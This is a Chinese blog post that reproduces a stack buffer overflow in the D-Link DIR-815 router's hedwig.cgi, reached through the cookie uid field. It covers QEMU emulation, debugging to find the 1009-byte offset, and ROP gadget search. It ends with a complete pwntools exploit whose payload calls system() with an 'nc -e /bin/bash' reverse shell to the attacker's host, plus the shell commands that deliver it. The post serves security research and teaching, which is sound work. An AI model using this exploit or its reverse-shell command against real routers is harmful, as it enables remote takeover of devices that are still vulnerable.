DLink815路由器栈溢出漏洞分析与复现

博客 分享
0 232
张三
张三 2022-03-29 16:57:18
悬赏:0 积分 收藏

DLink 815路由器栈溢出漏洞分析与复现

DLink 815路由器栈溢出漏洞分析与复现

qemu模拟环境搭建

固件下载地址

File DIR-815_FIRMWARE_1.01.ZIP — Firmware for D-link DIR-815

binwalk解压固件

binwalk -Me dir815.bin

得到文件系统:

Image.png

查看bin/busybox得知是MIPS32,小端:

Image.png

使用qemu-system-mipsel从系统角度进行模拟,就需要一个mips架构的内核镜像和文件系统。可以在如下网站下载:

Index of /~aurel32/qemu

因为是小端,这里直接选择mipsel,然后下载其中两个文件:

Image.png

debian_squeeze_mipsel_standard.qcow2是文件系统,vmlinux-3.2.0-4-4kc-malta是内核镜像。

然后编辑qemu启动脚本start.sh:

sudo qemu-system-mipsel \-M malta \-kernel vmlinux-3.2.0-4-4kc-malta \-hda debian_squeeze_mipsel_standard.qcow2 \-append "root=/dev/sda1 console=tty0" \-net nic \-net tap \-nographic \

启动后输入用户名/密码 root/root或user/user即可登录qemu模拟的系统。

接下来在宿主机创建一个网卡,使qemu内能和宿主机通信。

安装依赖库:

sudo apt-get install bridge-utils uml-utilities

在宿主机编写如下文件保存为net.sh并运行:

sudo sysctl -w net.ipv4.ip_forward=1sudo iptables -Fsudo iptables -Xsudo iptables -t nat -Fsudo iptables -t nat -Xsudo iptables -t mangle -Fsudo iptables -t mangle -Xsudo iptables -P INPUT ACCEPTsudo iptables -P FORWARD ACCEPTsudo iptables -P OUTPUT ACCEPTsudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADEsudo iptables -I FORWARD 1 -i tap0 -j ACCEPTsudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPTsudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0

可以使用ifconfig命令检查是否配置成功:

Image.png

然后配置qemu虚拟系统的路由,在qemu虚拟系统中编写net.sh并运行:

#!/bin/shifconfig eth0 192.168.100.2 netmask 255.255.255.0route add default gw 192.168.100.254

在qemu虚拟系统中使用ifconfig命令查看eth0地址是否更改为192.168.100.2:

Image.png

此时宿主机应该可以和qemu虚拟系统互相ping通了:

Image.png

Image.png

随后使用scp命令将binwalk解压出来的squashfs-root文件夹上传到qemu系统中的/root路径下:

scp -r squashfs-root/ root@192.168.100.2:/root

然后在qemu虚拟系统中将squashfs-root文件夹下的库文件替换掉原有的,此操作会改变文件系统,如果不小心退出了虚拟系统,再次启动qemu时会失败,原因是因为改变了文件系统的内容。此时需要使用新的文件系统,因此在此操作之前可以先备份一份。编写auto.sh并执行:

cp sbin/httpd /cp -rf htdocs/ /rm -rf /etc/servicescp -rf etc/ /cp lib/ld-uClibc-0.9.30.1.so  /lib/cp lib/libcrypt-0.9.30.1.so  /lib/cp lib/libc.so.0  /lib/cp lib/libgcc_s.so.1  /lib/cp lib/ld-uClibc.so.0  /lib/cp lib/libcrypt.so.0  /lib/cp lib/libgcc_s.so  /lib/cp lib/libuClibc-0.9.30.1.so  /lib/cd /ln -s /htdocs/cgibin /htdocs/web/hedwig.cgiln -s /htdocs/cgibin /usr/sbin/phpcgi

接下来在qemu虚拟系统的根目录( / )下,创建一个名为conf的文件,此文件是httpd服务的配置文件。内容如下:

Umask 026PIDFile /var/run/httpd.pidLogGMT On  #开启logErrorLog /log #log文件Tuning{    NumConnections 15    BufSize 12288    InputBufSize 4096    ScriptBufSize 4096    NumHeaders 100    Timeout 60    ScriptTimeout 60}Control{    Types    {        text/html    { html htm }        text/xml    { xml }        text/plain    { txt }        image/gif    { gif }        image/jpeg    { jpg }        text/css    { css }        application/octet-stream { * }    }    Specials    {        Dump        { /dump }        CGI            { cgi }        Imagemap    { map }        Redirect    { url }    }    External    {        /usr/sbin/phpcgi { php }    }}Server{    ServerName "Linux, HTTP/1.1, "    ServerId "1234"    Family inet    Interface eth0         #网卡    Address 192.168.100.2  #qemu的ip地址    Port "4321"            #对应web访问端口    Virtual    {        AnyHost        Control        {            Alias /            Location /htdocs/web            IndexNames { index.php }            External            {                /usr/sbin/phpcgi { router_info.xml }                /usr/sbin/phpcgi { post_login.xml }            }        }        Control        {            Alias /HNAP1            Location /htdocs/HNAP1            External            {                /usr/sbin/hnap { hnap }            }            IndexNames { index.hnap }        }    }}

最后启动httpd服务:

./httpd -f conf

在宿主机浏览器中访问hedwig.cgi服务:

Image.png

这里访问失败是因为hedwig.cgi服务没有收到请求,需要提前配置qemu虚拟环境中的REQUEST_METHOD等方法,因为httpd是读取的环境变量,这里就直接通过环境变量进行设置:

export CONTENT_LENGTH="100"export CONTENT_TYPE="application/x-www-form-urlencoded"export REQUEST_METHOD="POST"export REQUEST_URI="/hedwig.cgi"export HTTP_COOKIE="uid=1234"

这里在qemu虚拟系统中运行hedwig.cgi,再次访问http://192.168.100.2:4321/hedwig.cgi就可以正常收到内容了:

Image.png

以上整个过程就是环境搭建部分,接下来就是使用gdbserver对hedwig.cgi进行调试了。

调试方法

需要在宿主机使用异构的gdb,在qemu虚拟系统中使用gdbserver来调试程序。首先在宿主机安装异构的gdb:

sudo apt install gdb-multiarch

然后在下面网址下载编译好的异构gdbserver,直接传到qemu虚拟系统中,或者自己在gdb官网下载源码交叉编译也行:

embedded-tools/binaries at master · rapid7/embedded-tools

gdbserver的用法如下:

./gdbserver 远程gdb的IP:port ./test

例如这里是用的:

./gdbserver 192.168.100.254:8888 /htdocs/web/hedwig.cgi

最后在宿主机使用gdb-multiarch进行远程调试即可:

Image.png

调试确定栈溢出偏移

因为hedwig.cgi是集成到cgibin中的,所以只需要将cgibin文件放到IDA中分析就行。通过查找资料和分析得知,程序的溢出点和HTTP_COOKIE字段有关。通过查找字符串引用,在IDA中查看伪代码如下:

Image.png

它存在于sess_get_uid函数,getenv获取变量信息,因此可以通过设置全局变量来控制此参数。查看sess_get_uid函数的引用,在hedwigcgi_main函数中找到如下内容:

Image.png

此处值得注意的是sprintf将string和字符串拼接,放入到v27变量中,并未对长度进行检查。接下来尝试打开文件/var/tmp/temp.xml,如果不存在就跳转到退出函数,如果文件存在,则顺序执行到以下代码:

Image.png

此处的sprintf也未对长度进行检查,输入超长的字符串会发生栈溢出。使用如下调试脚本进行环境变量的设置,并启动调试端口:

#!/bin/bashexport CONTENT_TYPE="application/x-www-form-urlencoded"export HTTP_COOKIE=$(python -c "print 'uid=' + 'A'*1009 + 'BBBB'")export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)export REQUEST_METHOD="POST"export REQUEST_URI="/hedwig.cgi"echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi

使用gdb-multiarch远程调试,断在hedwig_cgi函数的返回地址,可以观察到s0-s7寄存器被我们的输入控制,如下:

Image.png

最后看到控制了s0-s7,并且控制了ra寄存器,即控制了返回地址,依照我们上面调试脚本输入的内容,得知填充长度为1009即可控制返回地址:

Image.png

构造ROP的方法

目的是为了劫持返回地址,调用libc中的system。但为了避免cache incoherency机制,这里使用system构造反弹shell,而非直接调用shellcode。首先要确定可以调用system的libc,使用vmmap查看得知为libc.so.0:

Image.png

复制以下代码到ida的plugins目录中,并命名为mipsrop.py:

https://github.com/tacnetsol/ida/blob/master/plugins/mipsrop/mipsrop.py

修改82行from shims import ida_shimsimport ida_shims

复制以下代码到ida的plugins目录中,并命名为ida_shims.py:

import idcimport idaapitry:    import ida_bytesexcept ImportError:    ida_bytes = Nonetry:    import ida_nameexcept ImportError:    ida_name = Nonetry:    import ida_kernwinexcept ImportError:    ida_kernwin = Nonetry:    import ida_naltexcept ImportError:    ida_nalt = Nonetry:    import ida_uaexcept ImportError:    ida_ua = Nonetry:    import ida_funcsexcept ImportError:    ida_funcs = Nonedef _get_fn_by_version(lib, curr_fn, archive_fn, archive_lib=None):    if idaapi.IDA_SDK_VERSION >= 700:        try:            return getattr(lib, curr_fn)        except AttributeError:            raise Exception('%s is not a valid function in %s' % (curr_fn,                                                                  lib))    use_lib = lib if archive_lib is None else archive_lib    try:        return getattr(use_lib, archive_fn)    except AttributeError:        raise Exception('%s is not a valid function in %s' % (archive_fn,                                                              use_lib))def print_insn_mnem(ea):    fn = _get_fn_by_version(idc, 'print_insn_mnem', 'GetMnem')    return fn(ea)def print_operand(ea, n):    fn = _get_fn_by_version(idc, 'print_operand', 'GetOpnd')    return fn(ea, n)def define_local_var(start, end, location, name):    fn = _get_fn_by_version(idc, 'define_local_var', 'MakeLocal')    return fn(start, end, location, name)def find_func_end(ea):    fn = _get_fn_by_version(idc, 'find_func_end', 'FindFuncEnd')    return fn(ea)def is_code(flag):    fn = _get_fn_by_version(ida_bytes, 'is_code', 'isCode', idaapi)    return fn(flag)def get_full_flags(ea):    fn = _get_fn_by_version(ida_bytes, 'get_full_flags', 'getFlags', idaapi)    return fn(ea)def get_name(ea):    fn = _get_fn_by_version(idc, 'get_name', 'Name')    if idaapi.IDA_SDK_VERSION > 700:        return fn(ea, ida_name.GN_VISIBLE)    return fn(ea)def get_func_off_str(ea):    fn = _get_fn_by_version(idc, 'get_func_off_str', 'GetFuncOffset')    return fn(ea)def jumpto(ea, opnum=-1, uijmp_flags=0x0001):    fn = _get_fn_by_version(ida_kernwin, 'jumpto', 'Jump', idc)    if idaapi.IDA_SDK_VERSION >= 700:        return fn(ea, opnum, uijmp_flags)    return fn(ea)def ask_yn(default, format_str):    fn = _get_fn_by_version(ida_kernwin, 'ask_yn', 'AskYN', idc)    return fn(default, format_str)def ask_file(for_saving, default, dialog):    fn = _get_fn_by_version(ida_kernwin, 'ask_file', 'AskFile', idc)    return fn(for_saving, default, dialog)def get_func_attr(ea, attr):    fn = _get_fn_by_version(idc, 'get_func_attr', 'GetFunctionAttr')    return fn(ea, attr)def get_name_ea_simple(name):    fn = _get_fn_by_version(idc, 'get_name_ea_simple', 'LocByName')    return fn(name)def next_head(ea, maxea=4294967295):    fn = _get_fn_by_version(idc, 'next_head', 'NextHead')    return fn(ea, maxea)def get_screen_ea():    fn = _get_fn_by_version(idc, 'get_screen_ea', 'ScreenEA')    return fn()def choose_func(title):    fn = _get_fn_by_version(idc, 'choose_func', 'ChooseFunction')    return fn(title)def ask_ident(default, prompt):    fn = _get_fn_by_version(ida_kernwin, 'ask_str', 'AskIdent', idc)    if idaapi.IDA_SDK_VERSION >= 700:        return fn(default, ida_kernwin.HIST_IDENT, prompt)    return fn(default, prompt)def set_name(ea, name):    fn = _get_fn_by_version(idc, 'set_name', 'MakeName')    if idaapi.IDA_SDK_VERSION >= 700:        return fn(ea, name, ida_name.SN_CHECK)    return fn(ea, name)def get_wide_dword(ea):    fn = _get_fn_by_version(idc, 'get_wide_dword', 'Dword')    return fn(ea)def get_strlit_contents(ea):    fn = _get_fn_by_version(idc, 'get_strlit_contents', 'GetString')    return fn(ea)def get_func_name(ea):    fn = _get_fn_by_version(idc, 'get_func_name', 'GetFunctionName')    return fn(ea)def get_first_seg():    fn = _get_fn_by_version(idc, 'get_first_seg', 'FirstSeg')    return fn()def get_segm_attr(segea, attr):    fn = _get_fn_by_version(idc, 'get_segm_attr', 'GetSegmentAttr')    return fn(segea, attr)def get_next_seg(ea):    fn = _get_fn_by_version(idc, 'get_next_seg', 'NextSeg')    return fn(ea)def is_strlit(flags):    fn = _get_fn_by_version(ida_bytes, 'is_strlit', 'isASCII', idc)    return fn(flags)def create_strlit(start, lenth):    fn = _get_fn_by_version(ida_bytes, 'create_strlit', 'MakeStr', idc)    if idaapi.IDA_SDK_VERSION >= 700:        return fn(start, lenth, ida_nalt.STRTYPE_C)    return fn(start, idc.BADADDR)def is_unknown(flags):    fn = _get_fn_by_version(ida_bytes, 'is_unknown', 'isUnknown', idc)    return fn(flags)def is_byte(flags):    fn = _get_fn_by_version(ida_bytes, 'is_byte', 'isByte', idc)    return fn(flags)def create_dword(ea):    fn = _get_fn_by_version(ida_bytes, 'create_data', 'MakeDword', idc)    if idaapi.IDA_SDK_VERSION >= 700:        return fn(ea, ida_bytes.FF_DWORD, 4, idaapi.BADADDR)    return fn(ea)def op_plain_offset(ea, n, base):    fn = _get_fn_by_version(idc, 'op_plain_offset', 'OpOff')    return fn(ea, n, base)def next_addr(ea):    fn = _get_fn_by_version(ida_bytes, 'next_addr', 'NextAddr', idc)    return fn(ea)def can_decode(ea):    fn = _get_fn_by_version(ida_ua, 'can_decode', 'decode_insn', idaapi)    return fn(ea)def get_operands(insn):    if idaapi.IDA_SDK_VERSION >= 700:        return insn.ops    return idaapi.cmd.Operandsdef get_canon_feature(insn):    if idaapi.IDA_SDK_VERSION >= 700:        return insn.get_canon_feature()    return idaapi.cmd.get_canon_feature()def get_segm_name(ea):    fn = _get_fn_by_version(idc, 'get_segm_name', 'SegName')    return fn(ea)def add_func(ea):    fn = _get_fn_by_version(ida_funcs, 'add_func', 'MakeFunction', idc)    return fn(ea)def create_insn(ea):    fn = _get_fn_by_version(idc, 'create_insn', 'MakeCode')    return fn(ea)def get_segm_end(ea):    fn = _get_fn_by_version(idc, 'get_segm_end', 'SegEnd')    return fn(ea)def get_segm_start(ea):    fn = _get_fn_by_version(idc, 'get_segm_start', 'SegStart')    return fn(ea)def decode_insn(ea):    fn = _get_fn_by_version(ida_ua, 'decode_insn', 'decode_insn', idaapi)    if idaapi.IDA_SDK_VERSION >= 700:        insn = ida_ua.insn_t()        fn(insn, ea)        return insn    fn(ea)    return idaapi.cmddef get_bookmark(index):    fn = _get_fn_by_version(idc, 'get_bookmark', 'GetMarkedPos')    return fn(index)def get_bookmark_desc(index):    fn = _get_fn_by_version(idc, 'get_bookmark_desc', 'GetMarkComment')    return fn(index)def set_color(ea, what, color):    fn = _get_fn_by_version(idc, 'set_color', 'SetColor')    return fn(ea, what, color)def msg(message):    fn = _get_fn_by_version(ida_kernwin, 'msg', 'Message', idc)    return fn(message)def get_highlighted_identifier():    fn = _get_fn_by_version(ida_kernwin, 'get_highlight',                            'get_highlighted_identifier', idaapi)    if idaapi.IDA_SDK_VERSION >= 700:        viewer = ida_kernwin.get_current_viewer()        highlight = fn(viewer)        if highlight and highlight[1]:            return highlight[0]    return fn()def start_ea(obj):    if not obj:        return None    try:        return obj.startEA    except AttributeError:        return obj.start_eadef end_ea(obj):    if not obj:        return None    try:        return obj.endEA    except AttributeError:        return obj.end_eadef set_func_flags(ea, flags):    fn = _get_fn_by_version(idc, 'set_func_attr', 'SetFunctionFlags')    if idaapi.IDA_SDK_VERSION >= 700:        return fn(ea, idc.FUNCATTR_FLAGS, flags)    return fn(ea, flags)def get_func_flags(ea):    fn = _get_fn_by_version(idc, 'get_func_attr', 'GetFunctionFlags')    if idaapi.IDA_SDK_VERSION >= 700:        return fn(ea, idc.FUNCATTR_FLAGS)    return fn(ea)

之后在idapython输入框中输入:

import mipsropmipsrop = mipsrop.MIPSROPFinder()

然后输入mipsrop.find("")即可查询可用的gadget:

Image.png

根据《揭秘家用路由器0day漏洞挖掘技术》一书的方法:先将 system 函数的地址 -1 传入某个寄存器中,之后找到对这个寄存器进行加 +1 的操作的 gadget 进行调用即可将system地址恢复,因此我们查找addiu $s0,1指令,选用gadgets:0x158c8

Image.png

Image.png

这个gadget可以将s0赋值为system函数地址。现在我们还需要找到给system函数传参的gadget。利用mipsrop.stackfinder,选用gadget:0x159cc。因为其既可以跳转至system函数,又可以通过s5给system函数传参:

Image.png

Image.png

编写exp

有了上面两个gadget之后,整体流程如下:

  • 劫持地址-->0x158c8(给s0赋值为system函数地址,跳转至s5)
  • 0x159cc(给system函数传参并跳转执行)

exp如下:

from pwn import *context.endian = "little"context.arch = "mips"base_addr = 0x77f34000system_addr_1 = 0x53200-1gadget1 = 0x158c8gadget2 = 0x159cccmd = 'nc -e /bin/bash 192.168.100.254 9999'padding = 'A' * 973padding += p32(base_addr + system_addr_1) # s0padding += 'A' * 4                        # s1padding += 'A' * 4                        # s2padding += 'A' * 4                        # s3padding += 'A' * 4                        # s4padding += p32(base_addr+gadget2)         # s5padding += 'A' * 4                        # s6padding += 'A' * 4                        # s7padding += 'A' * 4                        # fppadding += p32(base_addr + gadget1)       # rapadding += 'B' * 0x10padding += cmdf = open("context",'wb')f.write(padding)f.close()

运行exp生成context,将congtext上传,然后运行hedwig.cgi服务:

#!/bin/bashexport CONTENT_TYPE="application/x-www-form-urlencoded"export HTTP_COOKIE="uid=`cat context`"export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)export REQUEST_METHOD="POST"export REQUEST_URI="/hedwig.cgi"echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi#echo "uid=4321"|/htdocs/web/hedwig.cgi

最后可以在宿主机可以得到一个qemu虚拟系统的shell:

Image.png

Image.png

Image.png

Image.png

Image.png

总结

复现过程主要难点在于环境搭建、仿真模拟,由于没有硬件设备,通过仿真只能模拟出部分功能。我试了很多方式,比如像FirmAE和Firmadyne,或者是自己构建的docker镜像、openwrt虚拟机,都不是很好用,中途遇到无数多的问题不得不放弃这些方法,最后选择这种手动模拟的方式,这种方式应该适用于多数要求不是很高的模拟场景。

References

IOT设备漏洞挖掘从入门到入门(一)- DVRF系列题目分析 - 安全客,安全资讯平台

IOT设备漏洞挖掘从入门到入门(二)- DLink Dir 815漏洞分析及三种方式模拟复现 - 安全客,安全资讯平台

IOTsec-Zone 物联网安全社区

MIPS 汇编指令学习 - CobrAMG - 博客园

posted @ 2022-03-29 16:32 unr4v31 阅读(0) 评论(0) 编辑 收藏 举报
回帖
    张三

    张三 (王者 段位)

    821 积分 (2)粉丝 (41)源码

     

    温馨提示

    亦奇源码

    最新会员